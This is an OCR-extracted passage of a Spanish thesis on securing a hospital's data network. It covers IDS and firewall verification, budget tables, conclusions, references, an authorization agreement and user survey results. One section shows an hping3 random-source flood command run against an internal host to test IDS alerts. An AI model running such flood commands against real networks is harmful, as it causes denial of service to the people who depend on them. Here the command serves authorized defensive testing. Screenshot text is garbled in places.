03/22-14:48:24.748481 [**] [122:3:0] (portscan) TCP Fortsweep [**] [Priority: 3] {PROTO:255} 10.104.36.42 -» 211.100.44.202

48:35
T

llustracion 131. Verificacion de ataque por virus

Para verificar el nivel de respuesta de los IDS ante un evento, se realizo pruebas de

inundacion de red utilizando la herramienta Hping3.

rtt min/avg/max/mdev = 0.671/1.038/1.649/0.436 ms

root@bt:-# hping3 --rand-source --flood 10.104.32.52

HPING 10.104.32.52 (eth® 10.104.32.52): NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

~C

--- 10.104.32.52 hping statistic ---

7246654 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.6/0.6/0.0 ms

foot@bt:-#

llustracion 132. Verificacién de alertas IDS con Hping3
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ethl: Capturing - Wireshark
Flle Edit View Go Capture Analyze Statistics Telephony Tools Help

o @ 530047V [EB acer §EH
‘B Filter: " E” B Egpresswon..“ j" C\ea[“ O Apply|

No Time Source Destination Protocel  Info

Frame 10 (85 bytes on wire, 85 bytes captured)

Ethernet II, Src: 20:fd:fl:8e:28:41 (20:fd:f1:8e:28:41), Dst: b4:99:ba:ab:63:¢3 (b4:99:ba:ab:63:¢3)
Internet Protocol, Src: 10.104.37.3 (10.104.37.3), Dst: 192,168.1.2 (192.168.1.2)

User Datagram Protocol, Src Port: 65309 (65309), Dst Port: domain (53)

Domain Name System (query)

- W W

llustracion 133. Tréfico generado a partir del ataque — Zentyal

El ataque realizado inunda la red con paquetes TCP utilizando direcciones IP
desconocidas que se generan aleatoriamente. En el servidor AlienVault se puede
observar el tréfico generado tanto por protocolo, puerto o ip para identificar el origen

del ataque.

(4l Cuadros de mando . Trafico ? Perfiles Caplura de trfico | Globial | Rendimiento | Matriz
£ Incidencias Sensor | ossim [w] Inkerfaz; [Promiscuo [w] [ Por squipo: Totel | Por equipo: Enviada | Por equipo: Recbido | Estarfsticas de servicin | Por clente-servidor ]
& Andlisis B
Informes o
2, Actives Network Traffic [TCP/IP]: Local Hosts - Data Sent+Received
S Inteligencia Hosts: Local Only  ~ E
Data; Al - |7
WLAN: [1][51[10][40][50][53][AN]
» Red
o Host Location Data ¥ +FTP PROXY HTTP DNS  |Telnet| NBiosIP |Mail| SNMP |NEWS[l
» Reputacién P Iht (vlan 50) * @B 1631 MEytes | 58.6% 0 0 0 498 0 of o0 of o I
 q 10.104.33.198 gﬁ‘ﬁ{pp 383 MBytes|13.4 %[44 4 KBytes|17.3 KBytes| 31.0 MBytes|180.4 KRytes 0| 341 KBytes| 0[1.9Kiytes| 0
10.104.31.20 P 27.5 MBytes| 9.6 % 0 0| 26.0 MBytes [107.7 KBytes 0|658.0 KBytes| 0 o o
npil507a2 [NetBl0s] & m@Qp 22.5 MBytes| 7.8 %|21.3 KBytes|10.6 KBytes | 16.0 MBytes| 2.1 MBytes 0| 25.7 KBytes|  0[1.0 KBytes| 0
101043112 4 $¥P 17.7 MBytes| 6.2 % 0 0| 17.3 MBytes [154.8 KBytes 0| 94.9KBytes| 0 o 0
10.104.33.2 vlan 10) A B@ P 3.2 MBytes| 1.1% 0 0 0 0 0 o o of o
10.104.31.29 (vlan 99) © B 3.0 MBytes| 1.1%|23.1 KBytes| 7.7 KBytes| 30.8 KByies| 76.3 KByes 0| 16.5KBytes| 0 o o
19216812 Y% Op 2,0 MBytes| 0.7 % 0 0 1.5 MBytes [311.9 KEytes a 228 0 o 0

llustracion 134. Tréfico de red Ntop-AlienVault
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2.8.5. Verificacidn filtro de contenidos en Zentyal

El filtro de contenidos y prevencion de virus proporcionado por Squid, Dansguardian y
Clamav en Zentyal permitieron realizar el control de contenidos de acuerdo a las

politicas establecidas para los usuarios.

4 ] wwwyoutubecom & |[@- searchTheweb

N i
(@ zentyal Elacceso ha sido Denegado

HOSPITAL ISIDRO AYORA LOJA
El acceso a la pagina http://www.youtube.com hasido
denegado por la siguiente razén:
Sitio no permitido: youtube.com
Categorias:

N/A

Esta viendo este error porque el sitio al que estés intentando acceder parece
contener, o esta etiquetado como tal, material que ha sido calificade como
inapropiado.

Si requiere acceso a este sitio web comuniquese con el Administrador de la
UNIDAD DE GESTION INFORMATICA Ext. 7272

Proporcionado por Zentyal

llustracion 135. Verificacion de filtrado de contenidos con Proxy

2.8.6. Verificacion de acceso a DMZ desde lared LAN

Se puede verificar el servicio de DNS implementado en el firewall de la red, con el

dominio del sitio web del Hospital para la red LAN.

~ Herramientas de Diagnéstico de Red
Dashboard
Estado de los Mddulos
Sistema
Interfaces
Pusrtas de enlace Mormbre de dorninio: hial.gob.ec
DNS
Objetos

Servicios
Rutas estiticas G ] Z hial.gob.ec
DMNE Dindrmico

Herramientas de
diagnastico

Monitor de Ancho de
Banda

Mantenimiento

CTION:

Gestion de software

Suscripcion : OR ECTION:

Proxy HTTP
Moldeado de trafico
RADIUS

Portal Cautivo

llustracion 136. Verificacion del servicio DNS
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Se puede verificar el acceso al servidor web utilizando el dominio agregado al servidor
DNS.

Para verificar el acceso al Servidor Web de la DMZ se utilizé6 un equipo de pruebas
donde corre un servidor Web y se accedi6 desde la red externa utilizando la direccion
IP publica proporcionada por el ISP.

SN N e s R e T @ bevenicosal x \L S I
© 190.152 e | g
- BT R I [ = | 5 ) 5 o~

MINISTERIO DE SALUD PUBLICA DEL ECUADOR
HOSPITAL PROVINCIAL GENERAL *ISIDRO AYORA"
LOJA - ECUADOR

@ Menu
® Inicio buscar...
© Noticias

© Proyactos

© Galeria Fotogrifica

o
Informacion

@ Noticias 2 4
@
s i
SE HAN
@ Iniciar Sesion Noticias

Nombre de usuario 5

Contrasafia

ITAL ISIDRO AYORA CUMPLE 31
DE VIDA INSTITUCIONAL & Usuarios en Linea
Recordame [] Tenemos 1 invitado conectado
Tniciar sesion

<Olvidé la contrasefia? @ Encuesta
<Olvidé el nombre de usuario?
Crear una cuenta

Iniciar sesidn con Open!D

La Atencion que presta el
Hospital es:

OExelente
OBuena
ORegular
OMah

@ Enlaces Recomendados

llustracion 137. Verficacion de acceso a DMZ-Servidor Web
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G.DISCUSION

1. EVALUACION DEL OBJETO DE INVESTIGACION

El proyecto de tesis se desarrollé cumpliendo con los requisitos establecidos en cada

una de sus fases, cumpliendo de esta forma los objetivos planteados.

OBJETIVO ESPECIFICO

RESULTADO

Determinar la situacién actual de la red
de datos del Hospital utilizando la
Metodologia abierta de testeo de
seguridad OSSTMM.

Se obtuvo la situacién actual del
perfil de la red de datos del
Hospital.

Realizar el andlisis de vulnerabilidades de
la red de datos utilizando la distribucion
de GNU/Linux BackTrack.

La herramienta Backtrack vy
OCTAVE nos permiti6 obtener
las vulnerabilidades en los
activos criticos de la red de
datos.

Disefiar el esquema de seguridad de la
red de datos del Hospital.

El uso de la metodologia SAFE
permitié el disefio del esquema
de seguridad de la red de datos
del Hospital.

Determinar las politicas de seguridad de
la red de datos del Hospital.

Se establecié las politicas de
seguridad para la red de datos
del Hospital a cargo de la Unidad
de Gestion Informatica.

Implementar la seguridad perimetral y
seguridad interna del esquema de
seguridad légica en la red de datos
utilizando Software Libre.

El uso de las herramientas
GNU/LINUX como Zentyal vy
Alienvault permitieron establecer
medidas de seguridad perimetral
e interna para la red de datos del
Hospital.

Tabla 51. Evaluacion del Objeto de Transformacion.
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2. VALORACION TECNICO-ECONOMICA-AMBIENTAL

La implementacion del Esquema de Seguridad para la red de datos del Hospital Isidro

Ayora se ha realizado en base a los recursos proporcionados por la Institucion. Las

herramientas de software son gratuitas, en cuanto al hardware para la implementacion

ha sido financiado en su totalidad por la Institucion. El financiamiento de los recursos

materiales y equipos de trabajo han sido proporcionados por las Tesistas.

El proyecto se ha desarrollado con éxito ajustandose a los elementos disponibles, a

continuacion se detallan los recursos utilizados para la implementacion del mismo.

Descripcién Horas V/Unitario V/Total
. Andrea Diaz 960 3.00 2880.00
Tesistas -
Jhomara Luzuriaga 960 3.00 2880.00
Asesoria 25 7.00 175.00
Director de Tesis 24 0.00 0.00
Sub-Total A: 5935.00
|RECURSOSMATERIALES |
Descripcioén Cantidad V/Unitario | V/Total
Cd’s 4 0.50 2.00
Flash Memory (4GB) 1 10.00 10.00
Resmas de papel 6 3.00 18.00
Cartuchos de tinta (Negro y Color) 5 6.00 30.00
Suministros de Oficina 10 0.50 5.00
Copias 300 0.02 6.00
Anillados 8 1.35 10.80
Empastados 4 8.00 32.00
Sub-Total B: | 113.80
Descripcién Cantidad V/Unitario | V/Total
HARDWARE
PC Escritorio 1 500.00 500.00
Firewall 1 1142.40 1142.40
Servidores | IDS 1 1142.40 1142.40
WEB 1 1142.40 1142.40
Switch 3Com 2 750.40 1500.80
Tarjeta de Red 1 78.38 78,38
Portatil 2 1100.00 2200.00
Impresora 1 30.00 30.00
Camara Digital 1 130.00 130.00
SOFTWARE
Microsoft Office 1 220.00 | 220.00
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Distribuciones Zentyal vs. 2.2 1 0.00 0.00
GNU/Linux (Servidores) | Alienvault vs 3.1 1 0.00 0.00
Backtrack vs. 5 1 0.00 0.00
Herramienta de Disefio DIA 1 0.00 0.00
Packet Tracer 4.1 1 0.00 0.00
Google Scketchup 8.0 1 0.00 0.00
COMUNICACIONES
Internet/mes 12 18.00 216.00
Sub-Total C: | 8302.38

Tabla 52. Sub-Totales de Valoracién Técnico Econémica

Sub-Total A 5935.00
Sub-Total B 113.80
Sub-Total C 8302.38
Imprevistos (10%) 1435.12
Total: 15.786.30

Tabla 53. Total Valoraciéon Técnico Econdmica.
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H. CONCLUSIONES

— El uso de la metodologia OCTAVE en conjunto con la metodologia OSSTMM
permitié llevar un proceso ordenado, sistemético y l6gico para la busqueda de
vulnerabilidades y determinacién de riesgos de los activos de la red utilizando la
distribucion de GNU/Linux Backtrack.

— La aplicacion de las normas ISO en el disefio del esquema de seguridad fisico
permitié utilizar las mejores practicas y procedimientos de seguridad para la
Unidad de Gestion Informética y por ende de la Institucion.

— El esquema modular que plantea la metodologia SAFE de Cisco permitié cumplir
con el objetivo de disefio del esquema de seguridad en base a teorias,
experiencias y mejores practicas.

— La division de la red en VLANSs y aplicacion de ACLs en los equipos de red evita
establecer conexiones fuera del segmento de VLAN de acuerdo al perfil de los
usuarios, ademas permite la comunicacion correcta con los servidores de la
intranet, sin interrupciones.

— AlienVault como NIDS constituye un Sistema de monitorizacion para grandes
empresas, sin embargo sus servicios han permitido complementar el esquema de
seguridad con herramientas de monitoreo y deteccibn de amenazas, con la
finalidad de dar respuesta oportuna a posibles ataques.

— Se considera obligatorio el empleo de tecnologias de proteccion perimetral. La
distribucion Zentyal de GNU/LINUX proporcioné los servicios necesarios para la
implementacién de la seguridad perimetral de la red a través de una interfaz grafica

amigable para la administracion.
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RECOMENDACIONES

Contemplar en la planificacion anual de actividades de la Unidad de Gestion
Informética, el plan estratégico proporcionado en la fase de analisis de riesgos.
Considerar el disefio fisico de seguridad, estimando su importancia ante las
necesidades de los distintos departamentos de la Institucion.

Adquirir el hardware considerando el minimo de requisitos planteados y el
hardware de backup necesario e implementar la solucién éptima del médulo core
con el fin mejorar el rendimiento del esquema planteado.

Monitorizar diariamente el servidor AlienVault para determinar las acciones
preventivas 0 correctivas necesarias, actualizar el inventario de activos y
programar analisis de vulnenerabilidades.

Considerar las practicas recomendadas para la administracion de politicas en el
Servidor Zentyal y monitorizar su funcionamiento en base a los registros generados
por cada servicio.

Realizar las actualizaciones de software en los Servidores de Seguridad y
monitoreo cada tres meses.

Acoger el decreto 1014 sobre el uso de software libre en las Instituciones Publicas,
con el fin de evitar gastos de licencias de software propietario como Sistemas
Operativos y Antivirus, y ademas complementar el esquema de seguridad con un
proyecto de control de usuarios en un dominio local con software libre como
OpenLDAP y Samba.

209




Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

J. BIBLIOGRAFIA

LIBROS

1. CHAPMAN B. y ZWICKY E., Construya Firewalls para Internet. O'Really. Edicion
en Espafiol por McGraw Hill, Enero 1997.

2. IZQUIERDO Enrique, “PROYECTOS INVESTIGACION CIENTIFICA”, edicion
primera, Septiembre 1996.

3. MCCONNELL Steve, “DESARROLLO DE PROYECTOS INFORMATICOS,
Editorial McGraw-Hill, Junio 1996.

4. TANENBAUM, Andrew S. Computer Networks, Tercera Edicion, México, Camara

Nacional de la Industria Editorial Mexicana, Agosto 2003.

RECURSOS DE INTERNET

5.

10.

11.

Seguridad fisica y Logica, Octubre 2010, Tesis, Enero 2011,

http://auditoriauc20102miju02.wikispaces.com/file/view/AuditoriaSeguridadF%C3%
ADsicaYL%C3%3gicaSistemasOrientadosAObjetos20102G07.pdf
[Fecha de consulta: 2011-06-03]

RIOFRIO Marcelo, Vulnerabilidades de las redes TCP/IP y principales mecanismos

de sequridad, Diciembre 2009, PDF,
http://www.cybertesis.uach.cl/tesis/uach/2009/bmfcir564v/doc/bmfcir564v.pdf
[Fecha de consulta: 2011-06.10]

ESET, Reporte de sequridad Latinoamérica 2011, Enero 2011, http://www.eset-

la.com/pdf/prensa/informe/eset-report-security-latinoamerica-2011.pdf,

[Fecha de consulta: 2011-05-29]

Metodologia SAFE. Septiembre 2010,

http://www.etmk.cl/in72j/papers/safe wp_es.pdf [Fecha de consulta: 2011-07-21]
HERZOG Peter V, ISECOM - Instituto para la Seguridad y las Metodologias
Abiertas, OSSTMM 2.1, Copyright 2000-2003, PDF, Diciembre 2010,

http://www.isecom.org/osstmm [Fecha de consulta: 2011-06-05]

ISO 27001, Andlisis y valoracion de los riesgos, PDF, Septiembre 2011,
http://impovedar.files.wordpress.com/2011/03/mc3b3dulo-8.pdf [Fecha de consulta:

2011-06-15]

Normas EIA/TIA, Sistema de cableado estructurado,

http://www.multimedia.mmm.com, [Fecha de consulta: 2011-07-20]

210



http://auditoriauc20102miju02.wikispaces.com/file/view/AuditoriaSeguridadF%C3%ADsicaYL%C3%253gicaSistemasOrientadosAObjetos20102G07.pdf
http://auditoriauc20102miju02.wikispaces.com/file/view/AuditoriaSeguridadF%C3%ADsicaYL%C3%253gicaSistemasOrientadosAObjetos20102G07.pdf
http://www.cybertesis.uach.cl/tesis/uach/2009/bmfcir564v/doc/bmfcir564v.pdf
http://www.eset-la.com/pdf/prensa/informe/eset-report-security-latinoamerica-2011.pdf
http://www.eset-la.com/pdf/prensa/informe/eset-report-security-latinoamerica-2011.pdf
http://www.etmk.cl/in72j/papers/safe_wp_es.pdf
http://www.isecom.org/osstmm
http://jmpovedar.files.wordpress.com/2011/03/mc3b3dulo-8.pdf
http://www.multimedia.mmm.com/

12.

13.

14.

15.

16.

17.

18.

19.

Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

Definicién Seguridad Informatica, Mayo 2011,

http://ntic.uson.mx/wikiseguridad/index.php/Sequridad _inform%C3%Altica , [Fecha
de consulta: 2011-06-01]

MATALOGOS Juan, Analisis de riesgos de seguridad de la informacion, Tesis,
http://oa.upm.es/1646/1/PFC_JUAN _MANUEL MATALOBOS VEIGAa.pdf [Fecha
de consulta: 2011-06-19]

ISSAF, Repositorio de documentacion, Julio 2011, http://www.oissg.org [Fecha de
consulta: 2011-06-05]

OWASP, Definicién, Febrero 2010, https://www.owasp.org [Fecha de Consulta:
2011-06-05]

INEI (Instituto Nacional de Estadisticas e Informéatica), Propiedades de la

Sequridad Informatica, Abril 2010, www.pecert.gob.pe ,
[Fecha de consulta: 2011-06-03]

MarkusErb, Gestidn de Riesgo en la Seguridad Informéatica, Analisis de Riesgo,

http://protejete.wordpress.com/gdr_principal/analisis_riesgo [Fecha de Consulta:
2011-06-16]

Analisis de la plataforma OSSIM, Diciembre 2008,
http://www.riunet.upv.es/bitstream/handle/10251/13179/Tesina.pdf?sequence=1
[Fecha de consulta: 2011-11-10]

IEEE, QoS on the MAC Level,
http://www.tml.tkk.fi/Opinnot/Tik110.551/1999/papers/08IEEE802.1Q0osINnMAC/qos.
html , chap2.3, [Fecha de consulta: 2011-12-10]

211



http://ntic.uson.mx/wikiseguridad/index.php/Seguridad_inform%C3%A1tica
http://oa.upm.es/1646/1/PFC_JUAN_MANUEL_MATALOBOS_VEIGAa.pdf
http://www.oissg.org/
https://www.owasp.org/
http://www.pecert.gob.pe/
http://protejete.wordpress.com/gdr_principal/analisis_riesgo
http://www.riunet.upv.es/bitstream/handle/10251/13179/Tesina.pdf?sequence=1
http://www.tml.tkk.fi/Opinnot/Tik110.551/1999/papers/08IEEE802.1QosInMAC/qos.%20html%20,%20chap2.3
http://www.tml.tkk.fi/Opinnot/Tik110.551/1999/papers/08IEEE802.1QosInMAC/qos.%20html%20,%20chap2.3

Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

K. ANEXOS

212




‘@
7,

Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

ANEXO A. CARTA DE AUTORIZACION

ACTA DE COMPROMISO

PARA EL DESARROLLO DEL PROYECTO “ANALISIS Y DISENO DEL ESQUEMA DE
SEGURIDAD DE LA RED DE DATOS DEL HOSPITAL ISIDRO AYORA DE LA CIUDAD
DE LOJA E IMPLEMENTACION DE LA SEGURIDAD LOGICA UTILIZANDO
SOFTWARE LIBRE”

Siendo el dia 26 de Mayo de 2011, suscriben el presente Jhomara Luzuriaga y Andrea
Diaz, ejecutoras, Ingeniero Mario E. Cueva Jefe de la Unidad de Gestion Informatica en
sefial de conformidad con los compromisos que ambas partes asumiran en el desarrollo
del proyecto.

I. OBJETIVO
El objetivo del proyecto es plantear un esquema de seguridad para la red de datos del
Hospital que permita el tratamiento seguro de la informacién y los recursos
informaticos, asi como implementar las seguridades légicas: perimetral e interna
facilitando de esta manera la administracion de los recursos de la red.

I. COMPROMISOS
a. DE LA INSTITUCION
- Facilitar el acceso a las instalaciones de la institucion para la obtencion y
recoleccion de datos.
- Proveer nombres de usuario y contrasefias para el acceso a los sistemas en
investigacion.
- Informar al personal de la institucion sobre el proyecto en mencion para que
proporcione la informacién necesaria. :
- Brindar la informacién de la estructura organizacional y funcional de la institucién.
- Permitir el acceso a los sistemas de informacién para el anélisis de
vulnerabilidades de la seguridad en los mismos.
- Permitir el acceso a los recursos de la red de datos para realizar los tests de
seguridad a través de herramientas de software libre:
e Sondeo de red.
Identificaciéon de servicios de la red.
Revision de Privacidad.
Busqueda y Verificacion de vulnerabilidades.
Testeo de aplicaciones de Internet.
Enrutamiento.
Testeo de control de accesos.
Descifrado de contrasefias.
Testeo de denegacion de servicios.
Testeo de medidas de contingencia.
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e Evaluacién de Politicas de Seguridad.
* Verificacion de redes inaldmbricas.
- Permitir la revision de los sistemas de monitoreo de las instalaciones de la
institucion.
- Permitir el acceso a los equipos informéticos para la realizacion de pruebas y
posterior implementacion de la seguridad perimetral e interna de la red.

b. DE LAS INVESTIGADORAS

- Mantener la confidencialidad de la informacién obtenida durante el desarrollo del
proyecto.

- Proporcionar un Manual con las politicas de seguridad de la red de datos del
Hospital.

- Implementar la seguridad perimetral e interna de la red de datos del Hospital.

- Proporcionar un informe técnico de la implementacion de las seguridades en la red
de datos.

- Capacitar al personal de la Unidad de Gestién Informéatica sobre la administracion
de las seguridades implementadas.

- Realizar la verificacion de la red de datos en funcion de las seguridades
implementadas.

Se firma el Acta en conformidad, Loja 26 de Mayo de 2011.

Egda. Jh@? Luzuriaga

Cl: 1104623077

HOSPITAL ISIDRO AYORA - LOJA
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ANEXO B. RESULTADOS DE LAS ENCUESTAS REALIZADAS A
LOS USUARIOS DE LA RED.

PREGUNTA N° 1

¢, Cuantos usuarios utilizan el computador?

1. Uno
2. Dos
3. Mas

s TABLA 1:

OPCION | FRECUENCIA %
UNO 14 47
DOS 5 17
MAS 11 36
Total: 30 100%

Tabla B.1. Namero de usuarios por computador.
< GRAFICO 1:

47%
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UNO DOS MAS
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17%

Grafico B.1. Numero de usuarios por computador.
< ANALISIS 1:

Un gran porcentaje de los encuestados manifiestan que su computador es usado por
mas de dos personas, esto debido a los cambios de turnos de trabajo, por tanto el

acceso a la informacion es facilmente vulnerable por la comparticion de contrasefias.
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PREGUNTA N° 2

¢, Hace uso de contrasefia para acceder al computador?

1. Si
2. No

s TABLA 2:

OPCION | FRECUENCIA %

Si 17 56.67

No 13 43.33
Total: 30 100%

Tabla B.2. Usuarios que utilizan contrasefia para el computador.

< GRAFICO 2:

56.670

43.330
60%

40%

20%

0% - T T
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Grafico B.2. Usuarios que utilizan contrasefia para el computador

< ANALISIS 2:
Los usuarios desconocen la importancia del uso de contrasefias para el acceso al

computador por tanto evaden el uso de las mismas.
PREGUNTA N° 3

¢ El computador tiene condo un protector de pantalla?
1. Si
2. No
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% TABLA 3:

OPCION FRECUENCIA %
Si 19 63.33
No 11 36.67

Total: 30 100%

Tabla B.3. Computadores con protector de pantalla.

.0

» GRAFICO 3:

80%
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40%
20%

0%

Gréfico B.3. Computadores con protector de pantalla.
% ANALISIS 3:

El protector de pantalla y el uso de contrasefia en el computador son de vital

7

importancia en la seguridad de los equipos. En la entidad se permite el acceso a las
instalaciones sin el debido control y en algunos casos los puestos de trabajo son
abandonados por diversas razones. Se considera necesario incluir politicas del uso de

los equipos de trabajo por parte de los usuarios.

PREGUNTA N° 4

¢, Qué problemas se presentan con mayor frecuencia en el computador que utiliza?
A. Virus

Pérdida de informacion

Blogueo del equipo

Fallas de hardware

moo®

No responde
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OPCION FRECUENCIA %
A 15 50
C 1 3
D 1 3
AyB 3 10
AyByC 2 7
AyC 2 7
AyD 4 13
ByD 1 3
E 1 3
TOTAL: 30 100

Tabla B.4.1. Resultados por usuarios Problemas en los equipos

RESPUESTA FRECUENCIA %
A. Virus 26 86.67
B. Pérdida de informacién 6 20
C. Blogueo del equipo 5 16.67
D. Fallas de hardware 6 20
E. No responde 1 3.33

R/
0’0

Tabla B.4.2. Resultados por respuesta Problemas en los equipos

GRAFICO 4:

B. Pérdida de informacién

D. Fallas del Hardware

C. Bloqueo del equipo

A. Virus

No responde

86.670%
20%
20%
16.670%
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Grafico B.4. Resultados por respuesta Problemas en los equipos.
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% ANALISIS 4:

La mayoria de los encuestados manifiestan que el problema de seguridad de mayor
incidencia en los equipos de trabajo es la presencia de virus. El Malware ingresa a los
equipos por contagio de dispositivos extraibles y acceso a internet no controlado, lo
gue afecta el funcionamiento de los equipos y perdida de informacion. Es necesario el

mantenimiento preventivo programado y actualizacion constante del antivirus.

PREGUNTA N° 5

¢ Qué nivel de conocimiento tiene sobre el manejo del computador?
1. Basico
2. Medio

3. Avanzado

% TABLAG:

OPCION FRECUENCIA %
Basico 9 30
Medio 18 60
Avanzado 2 6.67
No responde 1 3.33

Total: 30 100%

Tabla B.5. Nivel de conocimiento de los usuarios en el manejo de los equipos.

% GRAFICO 5:
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Gréfico B.5. Nivel de conocimiento de los usuarios en el manejo de los equipos.

< ANALISIS 5:
Se considera importante el conocimiento de los usuarios sobre el manejo de los
equipos de coémputo, lo cual incide en la manipulacion inadecuada y pérdida de
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informacion por desconocimiento. Gran parte de los encuestados manifiestan poseer
un nivel medio de conocimiento sobre el manejo del computador, sin embargo es
necesario programar la capacitacion del personal, tanto sobre el manejo del
computador, como de normas de seguridad que se deben cumplir para evitar

desastres.

PREGUNTA N° 6

¢ El computador que usted utiliza posee software antivirus?
1. Si
2. No
3. No conoce

% TABLA 6:

OPCION FRECUENCIA %
Si 23 76.67
No 5 16.67
No conoce 2 6.66
Total: 30 100%

Tabla B.6. Equipos que poseen antivirus.
» GRAFICO 6:
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Grafico B.6. Equipos que poseen antivirus.

< ANALISIS 6:

La informacién sobre el software antivirus de los equipos de computo se puede
conocer a través del administrador de la red, sin embargo es necesario emitir un
criterio sobre el conocimiento de los usuarios del tema. Un porcentaje reducido de
usuarios manifiestan que el computador no posee software antivirus, por lo que se

puede concluir el desconocimiento del uso del mismo.
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PREGUNTA N° 7

¢ Con qué frecuencia se actualiza el antivirus del computador?

1. Una vez por semana
2. Dos o tres veces a la semana
3. Unavez al mes
4. Mas de dos veces al mes
5. Eventualmente
< TABLA7:
OPCION FRECUENCIA %
Una vez por semana 4 13.33
Dos o tres veces a la semana 3 10
Una vez al mes 3 10
Eventualmente 18 60
No contesta 2 6.67
Total: 30 100%
Tabla B.7. Frecuencia de actualizacion de antivirus.
% GRAFICO 7:
70% - 60%
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Gréafico B.7. Frecuencia de actualizacién de antivirus.
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< ANALISIS 7:
La actualizacién de antivirus se realiza de forma eventual. Es necesario plantear
planes de prevencion de esta amenaza con actualizaciones periédicas o automaticas

en los equipos.

PREGUNTA N° 8

¢ Cuales de las siguientes operaciones puede realizar en su computador?
A. Instalacion de programas

Actualizacion de antivirus

Comparticién de archivos

Configuracién de red

Configuracién de herramientas administrativas

nmoow

Instalacion y configuracién de hardware

% TABLA 8:

OPCION FRECUENCIA %

A 2 6,67
B 2 6,67
C 2 6,67
AyB 2 6,67
AyC 1 3,33
ByC 1 3,33
ByE 1 3,33
CyE 1 3,33
ByF 1 3,33
AyByC 2 6,67
AyByD 2 6,67
AyByF 1 3,33
AyBYyE 1 3,33
AyByCyE 1 3,33
AyByCyDyYEYF 2 6,67
G 8 26,67

Total: 30 100%

Tabla B.8.1. Resultados por usuario: Operaciones autorizadas a los usuarios sobre el computador.
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RESPUESTA FRECUENCIA %
Instalacion de programas 15 50
Actualizacion de antivirus 15 50
Comparticién de archivos 10 33,33

Configuracion de red 4 13,33
Configuracion de herramientas administrativas 6 20

Instalacion y configuracion de hardware 4 13,33
. No contesta 8 26,67

O mmo o w >

Tabla B.8.2. Resultados por respuesta: Operaciones autorizadas a los usuarios sobre el computador.

% GRAFICO 8:
A. Instalacién de programas _ 00%
B. Actualizaciéon de antivirus _ 00%
C. Comparticion de archivos _ 33.330%
G. No contesta _ 26.670%
E. Configuracién de herramientas..._ 20%
D. Configuracién de red _ 13.330%
F. Instalacién y Configuracién de Hardware _ 13.330%
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Grafico B.8. Resultados por respuesta: Operaciones autorizadas a los usuarios sobre el computador.

< ANALISIS 8:

Los usuarios deben conocer los riesgos que implican la instalacién de software no
verificado sobre amenazas de virus o spyware, asi como la manipulacion inadecuada
del software del computador, siendo necesario disponer de un inventario de hardware
y software de los equipos y su actualizacién periédica de forma que estas actividades

sean controladas.

PREGUNTA N° 9

¢ Realiza usted respaldos de la informacion que considera importante?
1. Si
2. No
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OPCION FRECUENCIA %
Si 19 63,33
No 10 33,33
NO CONTESTA 1 3,33
TOTAL 30 100

Tabla B.9. Usuarios que realizan respaldo de informacion.

< GRAFICO 9:
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Gréfico B.9. Usuarios que realizan respaldo de informacion.

< ANALISIS 9:

Los Procesos y Subprocesos de la entidad llevan a cabo actividades de forma

descentralizada, algunos de ellos poseen software de gestion local, como el caso del

Proceso de Aseguramiento de Calidad, o plantillas de datos estadisticos, siendo

importante llevar a cabo practicas de respaldo.

PREGUNTA N° 10

Si la respuesta de la pregunta anterior fue afirmativa responda. ¢Qué medios de

almacenamiento de informacion utiliza?

A.

B
C.
D. Otros

Copias de seguridad de informacién en el equipo

. Dispositivos extraibles (CD’s, Flash Memory, etc.)

Archivo fisico (Documentos impresos)
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% TABLA 10:

OPCION FRECUENCIA %
B 6 20
C 3 10
A, B 1 3,33
B, C 5 16,67
A B, C 6 20
D 9 30

Total: 30 100

Tabla B.10.1. Resultados por usuarios. Medios de informacién se utilizan para respaldos.

OPCION FRECUENCIA %
A. Copias de seguridad de informacion en el equipo 7 23,33
B. Dispositivos extraibles (CD’s, Flash Memory, etc.) 18 60
C. Archivo fisico (Documentos impresos) 14 46,67
D. Otros 9 30

Tabla B.10.2. Resultados por respuesta. Medios de informacién que utilizan para respaldos

% GRAFICO 10:

*

B | 50.000%
C | 46.670%
D | 0%
A | 23%
0% 1(;% 2(;% 3(;% 4(;% 50I% 6(;% 7(;%

Grafico B.10. Resultados por respuesta. Medios de informacion que utilizan para respaldos.

< ANALISIS 10:

Los usuarios utilizan dispositivos extraibles para el respaldo de la informacion y
algunos sefialan el uso de documentos impresos. Es necesario que se instruya a los
usuarios sobre la obtencién de respaldos, asi como la actualizacion de tecnologias de
equipos para evitar suspension de actividades por problemas de hardware frecuentes.
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PREGUNTA N° 11

¢ Usted tiene acceso a internet?
1. Si
2. No

% TABLA 11:

OPCION FRECUENCIA %
Si 16 53,33
No 14 46,67
Total: 30 100

Tabla B.11. Usuarios con acceso a internet.
% GRAFICO 11:
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Gréfico B.11. Usuarios con acceso a internet.

% ANALISIS 11:

El uso de internet es necesario en algunos Procesos de la entidad, esto implica
considerar las medidas de prevencion necesarias para evitar ataques de virus y
spyware, asi mismo, se puede observar la falta de este servicio en algunos Procesos
ocasionando retardo en las actividades, ya que los usuarios se ven obligados a
compartir los equipos para el uso de este servicio.

PREGUNTA N° 12
¢En qué horario hace uso de internet o desearia utilizarlo?
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% TABLA 12:

OPCION FRECUENCIA %
MARANA 4 13,33
TARDE 2 6,67
TODO EL DIA 18 46
NO RESPONDE 6 27

Total: 30 100

Tabla B.12. Horario mas frecuente de uso de internet.

‘0

% GRAFICO 12:
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Gréfico B.12. Horario més frecuente de uso de internet.

< ANALISIS 12:
Es necesario considerar el uso del servicio de internet por parte de los usuarios y en

base a un analisis determinar las politicas de acceso al mismo.

PREGUNTA N° 13
Si la respuesta de la pregunta anterior fue afirmativa responda. ¢Qué actividades
puede realizar?
A. Actualizar software
Descargar programas
Descargar musica o videos
Subir archivos (documentos, imagenes, videos, masica, etc.)

moowm

Otros
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% TABLA 13:

OPCION FRECUENCIA %
B 2 6,67
D 5 16,67
A B 1 3,33
B, C 1 3,33

B, D 3 10
C,D 1 3,33
B,C,D 2 6,67
A B,C,D 5 16,67
E 10 33,33
Total: 30 100

Tabla B.13.1. Resultados por usuarios. Actividades de los usuarios sobre el internet.

RESPUESTA FRECUENCIA %
A. Actualizar software 6 20
B. Descargar programas 14 46,67
C. Descargar musica o videos 9 30
D. Subir archivos 16 53,33
E. No responde 10 33,33

